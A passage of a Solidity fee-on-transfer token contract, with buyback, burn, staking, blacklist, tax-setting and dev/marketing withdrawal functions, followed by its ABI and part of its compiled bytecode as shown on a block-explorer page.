    event Buyback(uint256 WeiAmount, uint256 TokenAmount);
    function TriggerBuyBack(uint256 weiAmount) public authorized{
        require(weiAmount<=BuyBackBalance, "Amount exceeds BuyBackBalance!");
        BuyBackBalance-=weiAmount;
        uint256 initialContractBalance = _balances[address(this)];        
        address[] memory path = new address[](2);
        path[0] = _pancakeRouter.WETH();
        path[1] = address(this);

        _pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: weiAmount}(
        0,
        path,
        BurnAddress,
        block.timestamp); 
        
        uint256 boughtTokens = _balances[address(this)] - initialContractBalance;
        _circulatingSupply-=boughtTokens;
        tokensBurnt+=boughtTokens;          
        emit Buyback(weiAmount, boughtTokens);
    }
    
    event onBurnTokens(uint256 TokensBurnt);
    function BurnTokens (uint256 amount) public{
        uint256 convertedAmount = amount * 10**_decimals;
        uint256 senderBalance = _balances[msg.sender];
        require(senderBalance >= convertedAmount, "Burn amount exceed user's balance");
        _removeToken(msg.sender,convertedAmount);
        _addToken(BurnAddress, convertedAmount);
        _circulatingSupply-=convertedAmount;
        tokensBurnt+=convertedAmount;
        emit Transfer(msg.sender,BurnAddress,convertedAmount);
        emit onBurnTokens(convertedAmount);
    }
    
    function WithdrawAllDev() public authorized{
        uint256 amount=DevBalance;
        DevBalance=0;
        (bool sent,) =Developer.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 
    
    function WithdrawDev(uint256 amount) public authorized{
        require(amount<=DevBalance);
        DevBalance-=amount;
        (bool sent,) =Developer.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 

    function WithdrawAllMarketing() public authorized{
        uint256 amount=MarketingBalance;
        MarketingBalance=0;
        (bool sent,) =MarketingWallet.call{value: (amount)}("");
        require(sent,"withdraw failed");
    } 
    
    function WithdrawMarketing(uint256 amount) public authorized{
        require(amount<=MarketingBalance);
        MarketingBalance-=amount;
        (bool sent,) =MarketingWallet.call{value: (amount)}("");
        require(sent,"withdraw failed");
    }     

    event OnExcludeFromStaking(address excludedAddress);
    function ExcludeFromStaking(address addr) public authorized{
        require(!isExcludedFromStaking(addr));
        _totalShares-=_balances[addr];
        uint256 newDividentsMain=_newDividentsOf(addr, true);
        uint256 newDividentsMisc=_newDividentsOf(addr, false);        
        alreadyPaidMain[addr]=_balances[addr]*mainRewardShare;
        alreadyPaidMisc[addr]=_balances[addr]*miscRewardShare;        
        toBePaidMain[addr]+=newDividentsMain;
        toBePaidMisc[addr]+=newDividentsMisc;        
        _excludedFromStaking.add(addr);
        emit OnExcludeFromStaking(addr);
    }    

    function IncludeMeToStaking() public{
        require(isExcludedFromStaking(msg.sender));
        _totalShares+=_balances[msg.sender];
        _excludedFromStaking.remove(msg.sender);
        alreadyPaidMain[msg.sender]=_balances[msg.sender]*mainRewardShare;
        alreadyPaidMisc[msg.sender]=_balances[msg.sender]*miscRewardShare; 
    }

    event OnIncludeToStaking(address includedAddress);
    function IncludeToStaking(address addr) public authorized{
        require(isExcludedFromStaking(addr));
        _totalShares+=_balances[addr];
        _excludedFromStaking.remove(addr);
        alreadyPaidMain[addr]=_balances[addr]*mainRewardShare;
        alreadyPaidMisc[addr]=_balances[addr]*miscRewardShare; 
        emit OnIncludeToStaking(addr);
    }

    function setBlacklistStatus(address[] calldata addresses, bool status) public authorized {
        for (uint256 i=0; i < addresses.length; ++i) {
            isBlacklisted[addresses[i]] = status;
        }
    }

    event OnEnableBlacklist(bool enabled);
    function enableBlacklist(bool enabled) public authorized {
        blacklistEnabled=enabled;
        emit OnEnableBlacklist(enabled);
    }

    event UpdateMarketingWallet(address newMarketingWallet);
    function SetMarketingWallet(address addr) public onlyOwner{
        address prevMarketing=MarketingWallet;
        _excluded.remove(prevMarketing);
        MarketingWallet=addr;
        _excluded.add(MarketingWallet);
        emit UpdateMarketingWallet(addr);
    }

    event UpdateDevWallet(address newDevWallet);
    function SetDevWallet(address addr) public onlyOwner{
        address prevDev=Developer;
        _excluded.remove(prevDev);
        Developer=addr;
        _excluded.add(Developer);
        emit UpdateDevWallet(addr);
    }
    
    event AccountExcluded(address account);
    function ExcludeAccountFromFees(address account) public authorized {
        _excluded.add(account);
        emit AccountExcluded(account);
    }
    
    event AccountIncluded(address account);
    function IncludeAccountToFees(address account) public authorized {
        _excluded.remove(account);
        emit AccountIncluded(account);
    }

    function setPresale(address presaleAddress) public authorized {
        _excluded.add(presaleAddress);
        _excludedFromStaking.add(presaleAddress);
    }    

    event OnUpdateTaxes(uint8 burnTaxes, uint8 buybackTaxes, uint8 devTaxes, uint8 marketingTaxes, uint8 liquidityTaxes, uint8 stakingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax);
    function UpdateTaxes(uint8 burnTaxes, uint8 buybackTaxes, uint8 devTaxes, uint8 marketingTaxes, uint8 liquidityTaxes, uint8 stakingTaxes,uint8 buyTax, uint8 sellTax, uint8 transferTax) public authorized{
        uint8 totalTax=liquidityTaxes+stakingTaxes+marketingTaxes+burnTaxes+buybackTaxes+devTaxes;
        
        require(totalTax==100, "marketing+liq+staking needs to equal 100%.");
        require(buyTax<=12,"Buytax is higher than the 12%.");
        require(sellTax<=MaxSellTax,"Selltax is higher than 12%.");
        require(transferTax<=12,"TransferTax is higher than 12%.");

        _burnTax=burnTaxes;
        _buyBackTax=buybackTaxes;
        _devTax=devTaxes;
        _marketingTax=marketingTaxes;
        _liquidityTax=liquidityTaxes;
        _stakingTax=stakingTaxes;
        _buyTax=buyTax;
        _sellTax=sellTax;
        _transferTax=transferTax;
        emit OnUpdateTaxes(burnTaxes,buybackTaxes,devTaxes,marketingTaxes,liquidityTaxes,stakingTaxes,buyTax,sellTax,transferTax);
    }

    event OnUpdateRewardSplit (uint8 NewMainSplit, uint8 NewMiscSplit);
    function UpdateRewardSplit (uint8 MainSplit, uint8 MiscSplit) public authorized{
        uint8 totalSplit=MainSplit+MiscSplit;
        require(totalSplit==100, 'MainSplit+MiscSplit needs to equal 100%');
        _MainRewardSplit=MainSplit;
        _MiscRewardSplit=MiscSplit;
        emit OnUpdateRewardSplit(MainSplit,MiscSplit);
    }
    
    event OnUpdateLimits(uint256 newMaxWallet, uint256 newSellLimit);
    function UpdateLimits(uint256 newMaxWallet, uint256 newSellLimit) public authorized{

        uint256 targetMaxWallet=_totalSupply/MaxWalletDivider;
        uint256 targetSellLimit=_totalSupply/SellLimitDivider;
        
        require((newMaxWallet>=targetMaxWallet), 
        "newMaxWallet needs to be at least target");
        require((newSellLimit>=targetSellLimit), 
        "newSellLimit needs to be at least target");

        MaxWallet = newMaxWallet;
        sellLimit = newSellLimit;    
        emit OnUpdateLimits(newMaxWallet,newSellLimit);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    function name() external pure override returns (string memory) {
        return _name;
    }
    function symbol() external pure override returns (string memory) {
        return _symbol;
    }
    function decimals() external pure override returns (uint8) {
        return _decimals;
    }
    function totalSupply() external view override returns (uint256) {
        return _circulatingSupply;
    }
    function getLimits() public view returns(uint256 balance, uint256 sell){
        return(MaxWallet/10, sellLimit/10);
    }  
    function getLiquidityUnlockInSeconds() public view returns (uint256){
        if(block.timestamp<_liquidityUnlockTime){
            return _liquidityUnlockTime-block.timestamp;
        }
        return 0;
    }
    function getTaxes() public view returns(uint256 burnTax, uint256 buybackTax, uint256 devTax, uint256 marketingTax, uint256 liquidityTax,uint256 rewardsTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){
        return (_burnTax, _buyBackTax, _devTax, _marketingTax,_liquidityTax,_stakingTax,_buyTax,_sellTax,_transferTax);
    } 
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"AccountExcluded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"}],"name":"AccountIncluded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"WeiAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"TokenAmount","type":"uint256"}],"name":"Buyback","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"extendedLockTime","type":"uint256"}],"name":"ExtendLiquidityLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"NewMainReward","type":"address"}],"name":"OnChangeMainReward","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"NewMiscReward","type":"address"}],"name":"OnChangeMiscReward","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"AddressFrom","type":"address"},{"indexed":false,"internalType":"address","name":"AddressTo","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"OnClaimETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"OnEnableBlacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"excludedAddress","type":"address"}],"name":"OnExcludeFromStaking","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"includedAddress","type":"address"}],"name":"OnIncludeToStaking","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMaxWallet","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellLimit","type":"uint256"}],"name":"OnUpdateLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"NewMainSplit","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"NewMiscSplit","type":"uint8"}],"name":"OnUpdateRewardSplit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"burnTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"buybackTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"devTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"marketingTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"liquidityTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"stakingTaxes","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"sellTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"OnUpdateTaxes","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"}],"name":"OnWithdrawToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newDevWallet","type":"address"}],"name":"UpdateDevWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"UpdateMarketingWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"TokensBurnt","type":"uint256"}],"name":"onBurnTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"newThreshold","type":"uint16"}],"name":"onUpdateLPThreshold","type":"event"},{"inputs":[],"name":"AutoLPThreshold","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BurnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BurnTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BuyBackBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newReward","type":"address"}],"name":"ChangeMainReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newReward","type":"address"}],"name":"ChangeMiscReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimMainReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ClaimMiscReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"PermilleOfPancake","type":"uint16"},{"internalType":"bool","name":"ignoreLimits","type":"bool"}],"name":"CreateLPandETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"ExcludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"ExcludeFromStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"IncludeAccountToFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IncludeMeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"IncludeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"LockLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MainReward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"manual","type":"bool"}],"name":"ManualETHSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxSellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MiscReward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PancakeRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RecoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ReleaseLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"RemoveLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"SetDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"SetMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"TriggerBuyBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"Threshold","type":"uint16"}],"name":"UpdateAutoLPThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWallet","type":"uint256"},{"internalType":"uint256","name":"newSellLimit","type":"uint256"}],"name":"UpdateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"MainSplit","type":"uint8"},{"internalType":"uint8","name":"MiscSplit","type":"uint8"}],"name":"UpdateRewardSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"burnTaxes","type":"uint8"},{"internalType":"uint8","name":"buybackTaxes","type":"uint8"},{"internalType":"uint8","name":"devTaxes","type":"uint8"},{"internalType":"uint8","name":"marketingTaxes","type":"uint8"},{"internalType":"uint8","name":"liquidityTaxes","type":"uint8"},{"internalType":"uint8","name":"stakingTaxes","type":"uint8"},{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"UpdateTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawAllDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WithdrawAllMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawDev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WithdrawMarketing","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistBlocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getETHRewardsBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLimits","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityUnlockInSeconds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getMainBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTaxes","outputs":[{"internalType":"uint256","name":"burnTax","type":"uint256"},{"internalType":"uint256","name":"buybackTax","type":"uint256"},{"internalType":"uint256","name":"devTax","type":"uint256"},{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"liquidityTax","type":"uint256"},{"internalType":"uint256","name":"rewardsTax","type":"uint256"},{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"},{"internalType":"uint256","name":"transferTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityAdded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setBlacklistStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"presaleAddress","type":"address"}],"name":"setPresale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snipersRekt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tokensBurnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLPETH","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000b3c565b6200002290633b9aca0062000b4d565b600855600980546a640006060600281e1e00006001600160581b0319909116178155600e80546001600160a01b031990811661dead179091556010805461ffff19166001179055600260115560138054821673dac17f958d2ee523a2206206994597c13d831ec71790556014805490911673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2179055620000b890600a62000b3c565b620000c890633b9aca0062000b4d565b601a556022805461ffff1916603217905560288054745f000c43a1f92a30b47e9a77995849dc1f28bf6c00610100600160a81b03199091161790553480156200011057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35046600114156200018857601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620001c3565b4660041415620001be57601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620001c3565b600080fd5b601754601680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000220573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000246919062000b6f565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002cf919062000b6f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200031d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000343919062000b6f565b601580546001600160a01b0319166001600160a01b03929092169190911790556200038c33620003766009600a62000b3c565b6200038690633b9aca0062000b4d565b620005e7565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003be6009600a62000b3c565b620003ce90633b9aca0062000b4d565b60405190815260200160405180910390a33060009081526002602090815260408083206016546001600160a01b0316845290915290206000199055600c8054336001600160a01b03199182168117909255600d8054909116909117905560326200043b6009600a62000b3c565b6200044b90633b9aca0062000b4d565b62000457919062000ba1565b600b5560286200046a6009600a62000b3c565b6200047a90633b9aca0062000b4d565b62000486919062000ba1565b600a55620004a260043362000750602090811b62002cd717901c565b50600c54620004c9906004906001600160a01b031662000750602090811b62002cd717901c565b50600d54620004f0906004906001600160a01b031662000750602090811b62002cd717901c565b506200050c3060046200075060201b62002cd71790919060201c565b50600e5462000533906004906001600160a01b031662000750602090811b62002cd717901c565b506200054f3060066200075060201b62002cd71790919060201c565b50600e5462000576906006906001600160a01b031662000750602090811b62002cd717901c565b506016546200059d906006906001600160a01b031662000750602090811b62002cd717901c565b50601554620005c4906006906001600160a01b031662000750602090811b62002cd717901c565b50601654620005e19030906001600160a01b031660001962000770565b62000bf9565b6001600160a01b0382166000908152600160205260408120546200060d90839062000bc4565b90506200061a836200086b565b1562000640576001600160a01b0390921660009081526001602052604090209190915550565b81601a600082825462000654919062000bc4565b90915550600090506200066984600162000888565b9050600062000679858262000888565b6001600160a01b0386166000908152600160205260409020849055601b54909150620006a790849062000b4d565b6001600160a01b038616600090815260236020908152604080832093909355602490529081208054849290620006df90849062000bc4565b9091555050601c54620006f490849062000b4d565b6001600160a01b0386166000908152602560209081526040808320939093556026905290812080548392906200072c90849062000bc4565b9091555050506001600160a01b039093166000908152600160205260409020555050565b600062000767836001600160a01b038416620009b4565b90505b92915050565b6001600160a01b038316620007c05760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b60448201526064015b60405180910390fd5b6001600160a01b0382166200080a5760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401620007b7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006200076a82600662000a0660201b62002cec1790919060201c565b600081156200092d576001600160a01b038316600090815260016020526040812054601b54620008b9919062000b4d565b6001600160a01b038516600090815260236020526040902054909150811015620008e85760009150506200076a565b6001600160a01b038416600090815260236020526040902054680100000000000000009062000918908362000bdf565b62000924919062000ba1565b9150506200076a565b6001600160a01b038316600090815260016020526040812054601c5462000955919062000b4d565b6001600160a01b038516600090815260256020526040902054909150811015620009845760009150506200076a565b6001600160a01b038416600090815260256020526040902054680100000000000000009062000918908362000bdf565b6000818152600183016020526040812054620009fd575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556200076a565b5060006200076a565b6001600160a01b0381166000908152600183016020526040812054151562000767565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000a8057816000190482111562000a645762000a6462000a29565b8085161562000a7257918102915b93841c939080029062000a44565b509250929050565b60008262000a99575060016200076a565b8162000aa8575060006200076a565b816001811462000ac1576002811462000acc5762000aec565b60019150506200076a565b60ff84111562000ae05762000ae062000a29565b50506001821b6200076a565b5060208310610133831016604e8410600b841016171562000b11575081810a6200076a565b62000b1d838362000a3f565b806000190482111562000b345762000b3462000a29565b029392505050565b60006200076760ff84168362000a88565b600081600019048311821515161562000b6a5762000b6a62000a29565b500290565b60006020828403121562000b8257600080fd5b81516001600160a01b038116811462000b9a57600080fd5b9392505050565b60008262000bbf57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111562000bda5762000bda62000a29565b500190565b60008282101562000bf45762000bf462000a29565b500390565b6151138062000c096000396000f3fe60806040526004361061044b5760003560e01c80637e94313b11610234578063c2bcf5ea1161012e578063d6b63978116100b6578063ecc723bf1161007a578063ecc723bf14610d46578063eda0228f14610d5b578063f2fde38b14610d7b578063fe575a8714610d9b578063ff4f661e14610dcb57600080fd5b8063d6b6397814610c96578063d8f946bf14610cb6578063d944392314610ccc578063dd62ed3e14610ceb578063e520752014610d3157600080fd5b8063ce4de192116100fd578063ce4de19214610c0c578063d1373e0414610c2c578063d4229e8914610c4c578063d5002f2e14610c61578063d5fcc7b614610c7657600080fd5b8063c2bcf5ea14610b96578063c6ead8af14610bb6578063cabcc71814610bcc578063cd3acd3c14610bec57600080fd5b8063a457c2d7116101bc578063b352172f11610180578063b352172f14610b07578063ba38487914610b27578063bd1c499414610b47578063bfeaf8c114610b67578063bffb691d14610b7c57600080fd5b8063a457c2d714610a7c578063a57c66cc14610a9c578063a66c218f14610ab25